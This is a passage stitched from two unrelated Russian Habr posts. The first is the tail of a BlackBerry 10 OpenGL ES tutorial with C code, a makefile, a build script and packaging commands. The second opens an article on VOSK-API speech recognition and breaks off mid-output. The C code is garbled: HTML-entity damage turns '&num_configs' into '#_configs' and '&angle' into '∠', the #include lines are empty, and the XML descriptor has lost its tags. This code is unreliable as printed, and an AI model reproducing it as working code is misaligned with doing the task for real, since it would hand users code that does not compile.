glVertexAttribPointer ( Loc2, 3, GL\_FLOAT, GL\_FALSE, 0, vColors );
glEnableVertexAttribArray ( Loc1 );
glEnableVertexAttribArray ( Loc2 );
//glUseProgram ( g\_ProgramObject );
glDisable( GL\_DEPTH\_TEST );
glDrawArrays ( GL\_TRIANGLES, 0, 3 );
glUseProgram ( 0 );
glDisableVertexAttribArray ( Loc1 );
glDisableVertexAttribArray ( Loc2 );
}
static screen\_context\_t screen\_cxt;
void handleScreenEvent( bps\_event\_t\* event )
{
screen\_event\_t screen\_event = screen\_event\_get\_event( event );
// handle clicks, touches, keypresses
}
void handleNavigatorEvent( bps\_event\_t\* event )
{
int rc;
bps\_event\_t\* activation\_event = NULL;
switch ( bps\_event\_get\_code( event ) )
{
case NAVIGATOR\_ORIENTATION\_CHECK:
// signal navigator that we do not intend to resize
navigator\_orientation\_check\_response( event, false );
break;
}
}
int main( int argc, char\* argv[] )
{
int rc;
int exit\_application = 0;
screen\_create\_context( &screen\_cxt, 0 );
bps\_initialize();
//Use utility code to initialize EGL for rendering with GL ES 2.0
if ( EXIT\_SUCCESS != bbutil\_init\_egl( screen\_cxt ) )
{
fprintf( stderr, "bbutil\_init\_egl failed\n" );
bbutil\_terminate();
screen\_destroy\_context( screen\_cxt );
return 0;
}
// Signal BPS library that navigator and screen events will be requested
if ( BPS\_SUCCESS != screen\_request\_events( screen\_cxt ) )
{
fprintf( stderr, "screen\_request\_events failed\n" );
bbutil\_terminate();
screen\_destroy\_context( screen\_cxt );
bps\_shutdown();
return 0;
}
if ( BPS\_SUCCESS != navigator\_request\_events( 0 ) )
{
fprintf( stderr, "navigator\_request\_events failed\n" );
bbutil\_terminate();
screen\_destroy\_context( screen\_cxt );
bps\_shutdown();
return 0;
}
if ( BPS\_SUCCESS != virtualkeyboard\_request\_events( 0 ) )
{
fprintf( stderr, "virtualkeyboard\_request\_events failed\n" );
bbutil\_terminate();
screen\_destroy\_context( screen\_cxt );
bps\_shutdown();
return 0;
}
// Signal BPS library that navigator orientation is not to be locked
if ( BPS\_SUCCESS != navigator\_rotation\_lock( false ) )
{
fprintf( stderr, "navigator\_rotation\_lock failed\n" );
bbutil\_terminate();
screen\_destroy\_context( screen\_cxt );
bps\_shutdown();
return 0;
}
// Query width and height of the window surface created by utility code
EGLint surface\_width, surface\_height;
eglQuerySurface( egl\_disp, egl\_surf, EGL\_WIDTH, &surface\_width );
eglQuerySurface( egl\_disp, egl\_surf, EGL\_HEIGHT, &surface\_height );
GLDebug\_LoadStaticProgramObject();
while ( !exit\_application )
{
glClear( GL\_COLOR\_BUFFER\_BIT | GL\_DEPTH\_BUFFER\_BIT );
// Request and process all available BPS events
bps\_event\_t\* event = NULL;
for ( ;; )
{
rc = bps\_get\_event( &event, 0 );
assert( rc == BPS\_SUCCESS );
if ( event )
{
int domain = bps\_event\_get\_domain( event );
if ( domain == screen\_get\_domain() )
{
handleScreenEvent( event );
}
else if ( domain == navigator\_get\_domain() )
{
handleNavigatorEvent( event );
if ( NAVIGATOR\_EXIT == bps\_event\_get\_code( event ) ) { exit\_application = 1; }
}
}
else break;
}
// render frame here
GLDebug\_RenderTriangle();
bbutil\_swap();
}
// Stop requesting events from libscreen
screen\_stop\_events( screen\_cxt );
// Shut down BPS library for this process
bps\_shutdown();
// Use utility code to terminate EGL setup
bbutil\_terminate();
// Destroy libscreen context
screen\_destroy\_context( screen\_cxt );
return 0;
}
```
Ещё нам понадобятся bbutil.c и bbutil.h из примеров BlackBerry 10 Native SDK. Чтобы не заниматься поиском сокровищ, вот немного кастрированное их содержимое (но абсолютно достаточное для запуска нашего минипримера).
**bbutil.h**
```
/*
* Copyright (c) 2011-2012 Research In Motion Limited.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef _UTILITY_H_INCLUDED
#define _UTILITY_H_INCLUDED
#include
#include
#include
#define USING\_GL20
extern EGLDisplay egl\_disp;
extern EGLSurface egl\_surf;
typedef struct font\_t font\_t;
#define BBUTIL\_DEFAULT\_FONT "/usr/fonts/font\_repository/monotype/arial.ttf"
#ifdef \_\_cplusplus
extern "C" {
#endif
/\*\*
\* Initializes EGL
\*
\* @param libscreen context that will be used for EGL setup
\* @return EXIT\_SUCCESS if initialization succeeded otherwise EXIT\_FAILURE
\*/
int bbutil\_init\_egl( screen\_context\_t ctx );
/\*\*
\* Terminates EGL
\*/
void bbutil\_terminate();
/\*\*
\* Swaps default bbutil window surface to the screen
\*/
void bbutil\_swap();
/\*\*
\* Returns dpi for a given screen
\*
\* @param ctx path libscreen context that corresponds to display of interest
\* @return dpi for a given screen
\*/
int bbutil\_calculate\_dpi( screen\_context\_t ctx );
/\*\*
\* Rotates the screen to a given angle
\*
\* @param angle to rotate screen surface to, must by 0, 90, 180, or 270
\* @return EXIT\_SUCCESS if texture loading succeeded otherwise EXIT\_FAILURE
\*/
int bbutil\_rotate\_screen\_surface( int angle );
#ifdef \_\_cplusplus
}
#endif
#endif
```
**bbutil.c**
```
/*
* Copyright (c) 2011-2012 Research In Motion Limited.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "bbutil.h"
#ifdef USING\_GL11
#include
#include
#elif defined(USING\_GL20)
#include
#else
#error bbutil must be compiled with either USING\_GL11 or USING\_GL20 flags
#endif
EGLDisplay egl\_disp;
EGLSurface egl\_surf;
static EGLConfig egl\_conf;
static EGLContext egl\_ctx;
static screen\_context\_t screen\_ctx;
static screen\_window\_t screen\_win;
static screen\_display\_t screen\_disp;
static int nbuffers = 2;
static int initialized = 0;
#ifdef USING\_GL20
static GLuint text\_rendering\_program;
static int text\_program\_initialized = 0;
static GLint positionLoc;
static GLint texcoordLoc;
static GLint textureLoc;
static GLint colorLoc;
#endif
struct font\_t
{
unsigned int font\_texture;
float pt;
float advance[128];
float width[128];
float height[128];
float tex\_x1[128];
float tex\_x2[128];
float tex\_y1[128];
float tex\_y2[128];
float offset\_x[128];
float offset\_y[128];
int initialized;
};
static void
bbutil\_egl\_perror( const char\* msg )
{
static const char\* errmsg[] =
{
"function succeeded",
"EGL is not initialized, or could not be initialized, for the specified display",
"cannot access a requested resource",
"failed to allocate resources for the requested operation",
"an unrecognized attribute or attribute value was passed in an attribute list",
"an EGLConfig argument does not name a valid EGLConfig",
"an EGLContext argument does not name a valid EGLContext",
"the current surface of the calling thread is no longer valid",
"an EGLDisplay argument does not name a valid EGLDisplay",
"arguments are inconsistent",
"an EGLNativePixmapType argument does not refer to a valid native pixmap",
"an EGLNativeWindowType argument does not refer to a valid native window",
"one or more argument values are invalid",
"an EGLSurface argument does not name a valid surface configured for rendering",
"a power management event has occurred",
"unknown error code"
};
int message\_index = eglGetError() - EGL\_SUCCESS;
if ( message\_index < 0 || message\_index > 14 )
{
message\_index = 15;
}
fprintf( stderr, "%s: %s\n", msg, errmsg[message\_index] );
}
int
bbutil\_init\_egl( screen\_context\_t ctx )
{
int usage;
int format = SCREEN\_FORMAT\_RGBX8888;
EGLint interval = 1;
int rc, num\_configs;
EGLint attrib\_list[] = { EGL\_RED\_SIZE, 8,
EGL\_GREEN\_SIZE, 8,
EGL\_BLUE\_SIZE, 8,
EGL\_SURFACE\_TYPE, EGL\_WINDOW\_BIT,
EGL\_RENDERABLE\_TYPE, 0,
EGL\_NONE
};
#ifdef USING\_GL11
usage = SCREEN\_USAGE\_OPENGL\_ES1 | SCREEN\_USAGE\_ROTATION;
attrib\_list[9] = EGL\_OPENGL\_ES\_BIT;
#elif defined(USING\_GL20)
usage = SCREEN\_USAGE\_OPENGL\_ES2 | SCREEN\_USAGE\_ROTATION;
attrib\_list[9] = EGL\_OPENGL\_ES2\_BIT;
EGLint attributes[] = { EGL\_CONTEXT\_CLIENT\_VERSION, 2, EGL\_NONE };
#else
fprintf( stderr, "bbutil should be compiled with either USING\_GL11 or USING\_GL20 -D flags\n" );
return EXIT\_FAILURE;
#endif
//Simple egl initialization
screen\_ctx = ctx;
egl\_disp = eglGetDisplay( EGL\_DEFAULT\_DISPLAY );
if ( egl\_disp == EGL\_NO\_DISPLAY )
{
bbutil\_egl\_perror( "eglGetDisplay" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = eglInitialize( egl\_disp, NULL, NULL );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglInitialize" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = eglBindAPI( EGL\_OPENGL\_ES\_API );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglBindApi" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
if ( !eglChooseConfig( egl\_disp, attrib\_list, &egl\_conf, 1, #\_configs ) )
{
bbutil\_terminate();
return EXIT\_FAILURE;
}
#ifdef USING\_GL20
egl\_ctx = eglCreateContext( egl\_disp, egl\_conf, EGL\_NO\_CONTEXT, attributes );
#elif defined(USING\_GL11)
egl\_ctx = eglCreateContext( egl\_disp, egl\_conf, EGL\_NO\_CONTEXT, NULL );
#endif
if ( egl\_ctx == EGL\_NO\_CONTEXT )
{
bbutil\_egl\_perror( "eglCreateContext" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = screen\_create\_window( &screen\_win, screen\_ctx );
if ( rc )
{
perror( "screen\_create\_window" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = screen\_set\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_FORMAT, &format );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv(SCREEN\_PROPERTY\_FORMAT)" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = screen\_set\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_USAGE, &usage );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv(SCREEN\_PROPERTY\_USAGE)" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = screen\_get\_window\_property\_pv( screen\_win, SCREEN\_PROPERTY\_DISPLAY, ( void\*\* )&screen\_disp );
if ( rc )
{
perror( "screen\_get\_window\_property\_pv" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
int screen\_resolution[2];
rc = screen\_get\_display\_property\_iv( screen\_disp, SCREEN\_PROPERTY\_SIZE, screen\_resolution );
if ( rc )
{
perror( "screen\_get\_display\_property\_iv" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
int angle = atoi( getenv( "ORIENTATION" ) );
screen\_display\_mode\_t screen\_mode;
rc = screen\_get\_display\_property\_pv( screen\_disp, SCREEN\_PROPERTY\_MODE, ( void\*\* )&screen\_mode );
if ( rc )
{
perror( "screen\_get\_display\_property\_pv" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
int size[2];
rc = screen\_get\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_BUFFER\_SIZE, size );
if ( rc )
{
perror( "screen\_get\_window\_property\_iv" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
int buffer\_size[2] = {size[0], size[1]};
if ( ( angle == 0 ) || ( angle == 180 ) )
{
if ( ( ( screen\_mode.width > screen\_mode.height ) && ( size[0] < size[1] ) ) ||
( ( screen\_mode.width < screen\_mode.height ) && ( size[0] > size[1] ) ) )
{
buffer\_size[1] = size[0];
buffer\_size[0] = size[1];
}
}
else if ( ( angle == 90 ) || ( angle == 270 ) )
{
if ( ( ( screen\_mode.width > screen\_mode.height ) && ( size[0] > size[1] ) ) ||
( ( screen\_mode.width < screen\_mode.height && size[0] < size[1] ) ) )
{
buffer\_size[1] = size[0];
buffer\_size[0] = size[1];
}
}
else
{
fprintf( stderr, "Navigator returned an unexpected orientation angle.\n" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = screen\_set\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_BUFFER\_SIZE, buffer\_size );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = screen\_set\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_ROTATION, ∠ );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = screen\_create\_window\_buffers( screen\_win, nbuffers );
if ( rc )
{
perror( "screen\_create\_window\_buffers" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
egl\_surf = eglCreateWindowSurface( egl\_disp, egl\_conf, screen\_win, NULL );
if ( egl\_surf == EGL\_NO\_SURFACE )
{
bbutil\_egl\_perror( "eglCreateWindowSurface" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = eglMakeCurrent( egl\_disp, egl\_surf, egl\_surf, egl\_ctx );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglMakeCurrent" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
rc = eglSwapInterval( egl\_disp, interval );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglSwapInterval" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
initialized = 1;
return EXIT\_SUCCESS;
}
void
bbutil\_terminate()
{
//Typical EGL cleanup
if ( egl\_disp != EGL\_NO\_DISPLAY )
{
eglMakeCurrent( egl\_disp, EGL\_NO\_SURFACE, EGL\_NO\_SURFACE, EGL\_NO\_CONTEXT );
if ( egl\_surf != EGL\_NO\_SURFACE )
{
eglDestroySurface( egl\_disp, egl\_surf );
egl\_surf = EGL\_NO\_SURFACE;
}
if ( egl\_ctx != EGL\_NO\_CONTEXT )
{
eglDestroyContext( egl\_disp, egl\_ctx );
egl\_ctx = EGL\_NO\_CONTEXT;
}
if ( screen\_win != NULL )
{
screen\_destroy\_window( screen\_win );
screen\_win = NULL;
}
eglTerminate( egl\_disp );
egl\_disp = EGL\_NO\_DISPLAY;
}
eglReleaseThread();
initialized = 0;
}
void
bbutil\_swap()
{
int rc = eglSwapBuffers( egl\_disp, egl\_surf );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglSwapBuffers" );
}
}
/\* Finds the next power of 2 \*/
static inline int
nextp2( int x )
{
int val = 1;
while ( val < x ) { val <<= 1; }
return val;
}
int bbutil\_calculate\_dpi( screen\_context\_t ctx )
{
int rc;
int screen\_phys\_size[2];
rc = screen\_get\_display\_property\_iv( screen\_disp, SCREEN\_PROPERTY\_PHYSICAL\_SIZE, screen\_phys\_size );
if ( rc )
{
perror( "screen\_get\_display\_property\_iv" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
//Simulator will return 0,0 for physical size of the screen, so use 170 as default dpi
if ( ( screen\_phys\_size[0] == 0 ) && ( screen\_phys\_size[1] == 0 ) )
{
return 170;
}
else
{
int screen\_resolution[2];
rc = screen\_get\_display\_property\_iv( screen\_disp, SCREEN\_PROPERTY\_SIZE, screen\_resolution );
if ( rc )
{
perror( "screen\_get\_display\_property\_iv" );
bbutil\_terminate();
return EXIT\_FAILURE;
}
double diagonal\_pixels = sqrt( screen\_resolution[0] \* screen\_resolution[0] + screen\_resolution[1] \* screen\_resolution[1] );
double diagonal\_inches = 0.0393700787 \* sqrt( screen\_phys\_size[0] \* screen\_phys\_size[0] + screen\_phys\_size[1] \* screen\_phys\_size[1] );
return ( int )( diagonal\_pixels / diagonal\_inches + 0.5 );
}
}
int bbutil\_rotate\_screen\_surface( int angle )
{
int rc, rotation, skip = 1, temp;;
EGLint interval = 1;
int size[2];
if ( ( angle != 0 ) && ( angle != 90 ) && ( angle != 180 ) && ( angle != 270 ) )
{
fprintf( stderr, "Invalid angle\n" );
return EXIT\_FAILURE;
}
rc = screen\_get\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_ROTATION, &rotation );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv" );
return EXIT\_FAILURE;
}
rc = screen\_get\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_BUFFER\_SIZE, size );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv" );
return EXIT\_FAILURE;
}
switch ( angle - rotation )
{
case -270:
case -90:
case 90:
case 270:
temp = size[0];
size[0] = size[1];
size[1] = temp;
skip = 0;
break;
}
if ( !skip )
{
rc = eglMakeCurrent( egl\_disp, NULL, NULL, NULL );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglMakeCurrent" );
return EXIT\_FAILURE;
}
rc = eglDestroySurface( egl\_disp, egl\_surf );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglMakeCurrent" );
return EXIT\_FAILURE;
}
rc = screen\_set\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_SOURCE\_SIZE, size );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv" );
return EXIT\_FAILURE;
}
rc = screen\_set\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_BUFFER\_SIZE, size );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv" );
return EXIT\_FAILURE;
}
egl\_surf = eglCreateWindowSurface( egl\_disp, egl\_conf, screen\_win, NULL );
if ( egl\_surf == EGL\_NO\_SURFACE )
{
bbutil\_egl\_perror( "eglCreateWindowSurface" );
return EXIT\_FAILURE;
}
rc = eglMakeCurrent( egl\_disp, egl\_surf, egl\_surf, egl\_ctx );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglMakeCurrent" );
return EXIT\_FAILURE;
}
rc = eglSwapInterval( egl\_disp, interval );
if ( rc != EGL\_TRUE )
{
bbutil\_egl\_perror( "eglSwapInterval" );
return EXIT\_FAILURE;
}
}
rc = screen\_set\_window\_property\_iv( screen\_win, SCREEN\_PROPERTY\_ROTATION, ∠ );
if ( rc )
{
perror( "screen\_set\_window\_property\_iv" );
return EXIT\_FAILURE;
}
return EXIT\_SUCCESS;
}
```
#### Сборка проекта
Внутри у BlackBerry 10 находится QNX и сборка под неё осуществляется с помощью gcc. Напишем **makefile**:
```
BBARCH=x86
CC = i486-pc-nto-qnx8.0.0-gcc.exe
CXX = i486-pc-nto-qnx8.0.0-gcc.exe
AR = i486-pc-nto-qnx8.0.0-ar.exe
OBJDIR=out
OUTDIR=out
OBJS = $(OBJDIR)/main.o $(OBJDIR)/bbutil.o
$(OBJDIR)/bbutil.o: bbutil.c bbutil.h
$(CC) -c bbutil.c -o $(OBJDIR)/bbutil.o $(CFLAGS)
$(OBJDIR)/main.o: main.cpp
$(CXX) -c main.cpp -o $(OBJDIR)/main.o $(CFLAGS) $(CPPFLAGS)
OBJS += $(OBJDIR)/bbutil.o $(OBJDIR)/main.o
USEDLIBS = -lstdc++ -lbps -lscreen -lm -lEGL -lGLESv2 -lfreetype -lsocket -lcurl -lOpenAL
CFLAGS = -m32 -fomit-frame-pointer
CPPFLAGS = -std=gnu++0x -fpermissive
PACK: $(OBJS)
rm -f $(OBJDIR)/pack.a
ar -ru $(OBJDIR)/pack.a $(OBJS)
all: $(OBJS) PACK
$(CXX) $(CFLAGS) $(CPPFLAGS) -o Main.exe-$(BBARCH) main.cpp $(OBJDIR)/pack.a $(USEDLIBS)
```
Не забудем создать папку **out** для временных файлов.
Теперь бинарник проекта уже почти можно собрать командой make all, нужно только добавить необходимые для BlackBerry 10 Native SDK переменные окружения. Поскольку возможных таргетов несколько (девайс на arm и эмулятор на x86), то мы решили создать простой скрипт на питоне, который и будет запускать сборку. Вот **make-x86.py**:
```
#!/usr/bin/python
import os
Target = "M:/BBNDK/target_10_0_9_1673/qnx6"
Host = "M:/BBNDK/host_10_0_9_404/win32/x86"
os.environ['QNX_TARGET'] = Target
os.environ['QNX_HOST' ] = Host
os.environ['PATH' ] = Host + "/usr/bin;" + os.environ['PATH']
os.system( "make all" )
```
Запускаем **make-x86.py** и получаем бинарник **Main.exe-x86**.
#### Сборка пакета
Теперь нужно создать пакет, пригодный к установке на BlackBerry 10. Запишем описание пакета в **bar-descriptor-x86.xml**
```
xml version="1.0" encoding="utf-8" standalone="no"?
com.linderdaum.test\_app
Test App
1.0.0
1
Test App
Linderdaum
10.0.9.1673
none
false
landscape
false
core.games
icon.png
x86
Main.exe-x86
icon.png
run\_native
```
и не забудем положить подходящую иконку в **BB10Res/icon.png**. У меня вот такая 150x150:
[](http://play.google.com/store/apps/details?id=com.linderdaum.engine.puzzL)
Упаковываем всё в Main-x86.bar:
```
blackberry-nativepackager -devMode -package Main-x86.bar bar-descriptor-x86.xml
```
#### Установка и запуск
Осталось только установить на эмулятор:
```
blackberry-deploy -installApp -device 192.168.70.130 Main-x86.bar
```
И запустить:
**P.S.** Для того, чтобы загрузить приложение на [BlackBerry App World](http://appworld.blackberry.com), его нужно подписать. Из командной строки это делается одной командой:
```
blackberry-signer -storepass <пароль от хранилища подписи> Main-armv7.bar
```
**P.P.S.** Сорри, что так много кода. Зато вы можете скопи-пастить всё это и за 15 минут запустить готовое приложение. | https://habr.com/ru/post/165523/ | null | ru | null |
# Как научить бабушку писать мемуары на самоизоляции с помощью VOSK-API. «Речь в текст» спешит на помощь
В ряде статей, опубликованных на этом сайте, есть описание того, что на рынок вышла новая Open Source платформа AI «речь в текст» VOSK-API. Ее инсталляция и один из способов применения расписан достаточно подробно в ее [документации](https://alphacephei.com/vosk/install). Привожу ссылку на Гитхаб [VOSK-API](https://github.com/alphacep/vosk-api), рекомендую пробовать октябрьскую версию 2020 года.
Ознакомившись с комментариями и критикой в [статье](https://habr.com/ru/post/470696/) мне захотелось рассказать о моем полугодовом опыте работы с данной системой, привести четыре примера решенных на ней задач.
Основная проблема у начинающего пользователя — установка самого KALDI (на котором она основана). Основные вопросы рассмотрены в подробном [мануале](https://habr.com/ru/post/470696/). Одна из задач создания голосового бота решена в [статье](https://habr.com/ru/post/522842/). Для экспериментов мы выбрали виртуальную машину с Ubuntu 18.04, четырехядерным десктопным процессором и 8ГБ оперативной памяти. Замечено, что необходимо не менее 10ГБ свободного места для ее пересборки на диске и установка ряда дополнительных пакетов.
По времени полная ее пересборка из исходников по [инструкции автора](https://alphacephei.com/vosk/install) заняла около 2 часов времени вместе с выкачиванием зависимостей. Дополнительно надо помнить и выкачать требуемые [словари нужных языков](https://alphacephei.com/vosk/models). Из настоятельных рекомендаций — просмотреть статью про [Яндекс станцию.Мини](https://habr.com/ru/post/518036/) касательно микрофонов. Настройка распознавания KALDI в файле mfcc.conf оставлена по дефолту.
Достигнутое быстродействие — 3 часа речи в текст за 45 минут без CUDA. С [CUDA](https://docs.nvidia.com/deeplearning/frameworks/kaldi-release-notes/rel_20-01.html) скорость вырастет раза в три.
Цель моей статьи: показать полученные решения четырех очень важных примеров из жизни, которые вы можете использовать на момент нахождения на самоизоляции. Использование команд, которые будут приведены, не требует никакой подготовки. Достаточно базовых знаний операционной системы. Если вы смогли самостоятельно поставить данный продукт, то они могут быть рассмотрены как углубленный анализ результата работы демо-скриптов, идущих с данной системой.
Устанавливаем очень полезную утилиту jq.
```
sudo apt-get install jq
```
**Первая задача.** Бабушка пишет мемуары для своих внуков.
После проведённых экспериментов, автор рекомендует посадить бабушку перед хорошей веб-камерой, чтобы она показывала семейный альбом и надиктовывала свои воспоминания о каждой фотографии.
К сожалению, средней дикции пожилого человека недостаточно, чтобы нейросеть могла выполнить дальнейшую обработку из-за большого количества ошибок.
**Вторая задача.** Многие столкнулись с тем, что учитель, уходя на удалённую работу, обязан поставить оценки всему классу. Допустим, за стихотворение Алексея Плещеева «Травка зеленеет, солнышко блестит», которое было задано выучить наизусть, необходимо прослушать 1 минуту аудиозаписи на каждого ученика. Приведем это стихотворение полностью.
**Травка зеленеет,
Солнышко блестит;
Ласточка с весною
В сени к нам летит.
С нею солнце краше
И весна милей…
Прощебечь с дороги
Нам привет скорей!
Дам тебе я зерен,
А ты песню спой,
Что из стран далеких
Принесла с собой…**
Если этот текст вам расскажут девяносто человек, то вы получите 90 отдельных файлов. Хорошо, если они у вас лежат в одной директории, допустим в Облаке «Школьного портала».
Еще лучше, если учащиеся не забыли, что надо перед чтением стиха произносить свое имя, класс, представлять автора стиха и проговаривать его название. Совсем хорошо, если файлы будет писать родитель и поименует файл понятным для учителя образом.
Результаты работы нейросети следующие. Ребенок 11 лет.
«ксюша иванова его третьего класса травка зеленеет солнышко блестит»
«травка зеленеет солнышко блестит ласточка с весною к сенью к нам летит»
«с нею солнца краше и весна милей прощай дейзи с дороги нам привет скорей дам тебе я зёрен а ты песню спою чтоб стран далёких принесла с собой»
Для сравнения — родитель, возраст более 50 лет.
«юрий иванов третьей главе класс»
«автор алексей плещеев стихотворение травка зеленеет солнышко блестит»
«травка зеленеет»
«солнышко блестит»
«ласточка с весною»
«в сени к нам летит»
«с нею солнца краше»
«и весна милей прыщи бич с дороги»
«нам привет скорей»
«дам тебе я зёрен»
«а ты песню спой»
«что из стран далёких принесла с собой»
Что мы можем видеть сразу? При достаточном уровне выполнения условий — ясная речь и хороший микрофон нейросеть позволяет качественно проводить анализ того, был ли факт сдачи домашнего задания, нет ли ошибок и оговорок в распространенных словах. Для автора статьи данный тест очень показателен с точки зрения достижения AI определенного уровня зрелости. Заметим, что очень хотелось бы видеть правильные знаки препинания, но из-за наличия большого количества авторских знаков в поэзии, на текущий момент нейросистемам данная задача недоступна.
Код для решения данной задачи.
```
cd ~/vosk-api/python/example/
ffmpeg <конкатенация файлов от учеников> <итоговый файл>
test_ffmpeg.py <итоговый файл> > <распознанный файл.txt>
```
**JSON-структура распознанного файла.**
```
{
"result" : [{
"conf" : 1.000000,
"end" : 11.670000,
"start" : 11.190659,
"word" : "автор"
}, {
"conf" : 0.999981,
"end" : 12.329875,
"start" : 11.730000,
"word" : "алексей"
}, {
"conf" : 1.000000,
"end" : 13.170000,
"start" : 12.330000,
"word" : "плещеев"
}, {
"conf" : 0.499391,
"end" : 14.730000,
"start" : 13.620000,
"word" : "стихотворение"
}, {
"conf" : 1.000000,
"end" : 15.720000,
"start" : 15.090000,
"word" : "травка"
}, {
"conf" : 1.000000,
"end" : 16.620000,
"start" : 15.720000,
"word" : "зеленеет"
}, {
"conf" : 1.000000,
"end" : 17.970000,
"start" : 16.950000,
"word" : "солнышко"
}, {
"conf" : 1.000000,
"end" : 18.840000,
"start" : 18.090000,
"word" : "блестит"
}],
"text" : "автор алексей плещеев стихотворение травка зеленеет солнышко блестит"
}
```
```
cat <распознанный файл.txt> | jq -e '.text // empty'
```
```
""
"юрий иванов третьей главе класс"
"автор алексей плещеев стихотворение травка зеленеет солнышко блестит"
"травка зеленеет"
"солнышко блестит"
"ласточка с весною"
"в сени к нам летит"
"с нею солнца краше"
"и весна милей прыщи бич с дороги"
"нам привет скорей"
"дам тебе я зёрен"
"а ты песню спой"
"что из стран далёких принесла с собой"
```
**Где найти словарь и слово «прыщи бич»?**
```
cd ~/vosk-api/python/example/model/graph
gedit words.txt
```
Всего строк в файле 709157, слово «прощебечь» отсутствует. Слово «щебетать» есть — строка «щебетать 693280».
**Третья задача.** Проверена работа VOSK-API при записи конференций на программах Zoom и Skype.
Результат экспериментов следующий. Zoom показал себя несколько лучше Skype. Так как конференции чаще всего ведут гарнитурами телефонов, то приемлемого уровня транскрибирования получить не удается. До 40% процентов записей необходимо править и переслушивать запись. Из очень сильной стороны VOSK-API требуется отметить наличие словарей на 16 языков. Перемена словаря иногда помогает в распознавании речи, если данный язык или акцент вам не знаком. Но надо помнить, что речь должна быть не скороговоркой, а с точным соблюдением последовательности слов и ударений в тех языках, где оно явно приводит к смене смысла отдельного слова.
```
cd ~/vosk-api/python/example/
test_microphone.py > > <файл, куда будет идти вывод текста с микрофона> --- при работе с микрофоном
test_ffmpeg.py <аудиофайл, где записана конференция> > <файл, куда будет записан распознанный текст>
```
**Четвертая задача.** Решение задач кадрового администрирования у людей, которые переболели COVID-19. К сожалению, из-за отдельных неврологических проблем после перенесения гриппа, люди, вернувшиеся обратно к активной деятельности, чаще всего некоторое время не полностью работоспособны — это признают врачи-неврологи, поэтому автор рекомендует делать три теста, которые позволяют определить степень расстройства.
**Тест первый.** Чтение собственной биографии с рукописного текста.
**Тест второй.** Проверка знаний по технике безопасности и служебных обязанностей, особенно, если при выполнении служебных обязанностей требуется работа на иностранных языках.
**Тест третий.** Решение задач на логику/подбор цифр/подбор цветов.
Общее решение — сравнить речь человека до и после болезни. Перед запуском этого скрипта необходимо скачать словарь [Speaker identification model](https://alphacephei.com/vosk/models/vosk-model-spk-0.4.zip).
```
./test_speaker.py test.wav
Text: what zero zero zero one
